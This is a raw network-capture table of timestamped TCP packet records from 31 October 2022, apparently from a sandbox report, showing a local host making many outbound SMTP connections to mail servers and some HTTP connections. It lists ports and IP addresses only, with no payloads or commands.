Oct 31, 2022 12:20:22.225526094 CET	49896	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:22.305047989 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:22.355072021 CET	80	49896	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:22.355338097 CET	49896	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:22.355478048 CET	49896	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:22.457375050 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:22.482475042 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:22.482853889 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:22.484718084 CET	80	49896	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:22.492275953 CET	80	49896	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:22.492367983 CET	80	49896	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:22.492469072 CET	49896	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:22.492533922 CET	49896	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:22.621927023 CET	80	49896	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:22.627703905 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:22.627895117 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:22.847446918 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:22.991050959 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.011976004 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.015002012 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.016107082 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.233756065 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.236289978 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.379589081 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380657911 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380677938 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380690098 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380702019 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380714893 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380728006 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380740881 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380753994 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380767107 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.380779982 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.381051064 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.381185055 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.599567890 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.745800972 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.745853901 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.745887995 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.745917082 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.745946884 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.745975018 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746001959 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746028900 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746054888 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746082067 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746109962 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746140003 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746170998 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746198893 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746227980 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746257067 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746285915 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746314049 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746344090 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746373892 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.746449947 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.746449947 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.769947052 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:23.770360947 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.772744894 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:23.879784107 CET	49907	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.072199106 CET	80	49907	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.072357893 CET	49907	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.072659016 CET	49907	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.111268997 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111344099 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111373901 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111404896 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111433029 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111460924 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111490011 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111520052 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111547947 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111576080 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111603975 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111630917 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111658096 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111685991 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111711979 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111740112 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111767054 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.111793995 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.133727074 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136073112 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136123896 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136153936 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136182070 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136209965 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136240959 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136271954 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136312008 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136337996 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136364937 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.136385918 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.136385918 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.136522055 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.136522055 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.264857054 CET	80	49907	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.264913082 CET	80	49907	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.265089989 CET	49907	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.265149117 CET	49907	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.323452950 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.323602915 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.343067884 CET	49909	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.379406929 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.434027910 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.434348106 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.457500935 CET	80	49907	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.490103006 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.490329981 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.499701977 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499733925 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499749899 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499767065 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499784946 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499802113 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499818087 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499916077 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499936104 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499954939 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.499967098 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500030041 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.500169992 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.500169992 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.500557899 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500577927 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500595093 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500606060 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500617027 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500633001 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500648975 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500664949 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.500682116 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.535161972 CET	80	49909	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.535402060 CET	49909	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.536021948 CET	49909	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.544408083 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.547545910 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.547766924 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.602372885 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.614094973 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.673518896 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.693497896 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.728048086 CET	80	49909	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.728123903 CET	80	49909	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.728326082 CET	49909	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.728326082 CET	49909	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:24.731673956 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:24.838577986 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.838860989 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.852585077 CET	25	49877	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.852770090 CET	49877	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:24.863312960 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863346100 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863373995 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863400936 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863430023 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863457918 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863486052 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863512039 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863538980 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863567114 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863593102 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863619089 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863647938 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863676071 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863704920 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863734007 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863761902 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.863789082 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:24.893047094 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.893807888 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.894164085 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.896694899 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.900587082 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:24.900711060 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:24.920437098 CET	80	49909	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:24.932950020 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:24.951112986 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.951162100 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.951206923 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.951247931 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.951272964 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.951272964 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.951272964 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.951287031 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.951415062 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.951415062 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.956598043 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:24.956803083 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:24.987399101 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:24.988073111 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.005543947 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005603075 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005640984 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005685091 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005716085 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005712032 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005755901 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005793095 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.005809069 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005809069 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005809069 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005809069 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005911112 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005911112 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.005954981 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006000042 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006042957 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006083965 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006084919 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.006117105 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006124020 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.006155014 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006256104 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006288052 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006329060 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006360054 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.006388903 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.010970116 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.011017084 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.060069084 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.060123920 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.060326099 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.060400963 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.060417891 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061068058 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061110973 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061140060 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061167955 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061191082 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061211109 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061230898 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061249971 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061269999 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061290026 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061310053 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061327934 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061350107 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.061595917 CET	49919	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:25.093713045 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.093828917 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.102123976 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:25.102324963 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:25.102480888 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:25.102596045 CET	49880	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:25.116004944 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:25.130953074 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.131064892 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.131840944 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.132035971 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.135257959 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:25.135515928 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:25.148953915 CET	25	49910	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:25.149175882 CET	49910	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:25.189238071 CET	80	49919	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:25.189383030 CET	49919	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:25.189596891 CET	49919	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:25.249286890 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:25.249460936 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:25.283695936 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.284221888 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.284468889 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.284706116 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.305114031 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:25.305367947 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:25.317044020 CET	80	49919	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:25.320302010 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:25.320462942 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:25.321146965 CET	80	49919	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:25.321202040 CET	80	49919	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:25.321307898 CET	49919	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:25.323790073 CET	49919	80	192.168.2.5	192.187.111.221
Oct 31, 2022 12:20:25.354207039 CET	49921	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:25.384743929 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.384989023 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.430970907 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.431230068 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.431866884 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.432123899 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.451355934 CET	80	49919	192.187.111.221	192.168.2.5
Oct 31, 2022 12:20:25.465534925 CET	25	49880	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:25.475101948 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:25.475315094 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:25.539339066 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.539366007 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.539586067 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.544981956 CET	80	49921	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:25.545078039 CET	49921	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:25.545727015 CET	49921	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:25.550257921 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:25.550374985 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:25.554816961 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.555871010 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:25.568552971 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:25.574677944 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.576081991 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.583019018 CET	49917	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.583043098 CET	49918	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:25.645622969 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:25.645745993 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:25.684102058 CET	25	49916	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:25.688065052 CET	49916	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:25.709321976 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.709371090 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.709400892 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.709451914 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.709485054 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.709534883 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.709589958 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.736390114 CET	80	49921	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:25.736428976 CET	80	49921	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:25.736562967 CET	49921	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:25.736605883 CET	49921	80	192.168.2.5	64.70.19.203
Oct 31, 2022 12:20:25.768882990 CET	25	49918	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.768914938 CET	25	49917	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:25.772835016 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:25.805500031 CET	49922	80	192.168.2.5	81.17.18.195
Oct 31, 2022 12:20:25.805594921 CET	25	49920	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:25.806926012 CET	49920	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:25.814619064 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:25.815527916 CET	25	49911	104.47.66.10	192.168.2.5
Oct 31, 2022 12:20:25.816500902 CET	49911	25	192.168.2.5	104.47.66.10
Oct 31, 2022 12:20:25.820956945 CET	80	49922	81.17.18.195	192.168.2.5
Oct 31, 2022 12:20:25.821108103 CET	49922	80	192.168.2.5	81.17.18.195
Oct 31, 2022 12:20:25.821269989 CET	49922	80	192.168.2.5	81.17.18.195
Oct 31, 2022 12:20:25.836649895 CET	80	49922	81.17.18.195	192.168.2.5
Oct 31, 2022 12:20:25.843229055 CET	80	49922	81.17.18.195	192.168.2.5
Oct 31, 2022 12:20:25.843267918 CET	80	49922	81.17.18.195	192.168.2.5
Oct 31, 2022 12:20:25.843375921 CET	49922	80	192.168.2.5	81.17.18.195
Oct 31, 2022 12:20:25.843503952 CET	49922	80	192.168.2.5	81.17.18.195
Oct 31, 2022 12:20:25.858848095 CET	80	49922	81.17.18.195	192.168.2.5
Oct 31, 2022 12:20:25.863922119 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.863957882 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.864007950 CET	25	49813	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:25.864139080 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.864197969 CET	49813	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:25.864197969 CET	25	49813	85.187.148.2	192.168.2.5
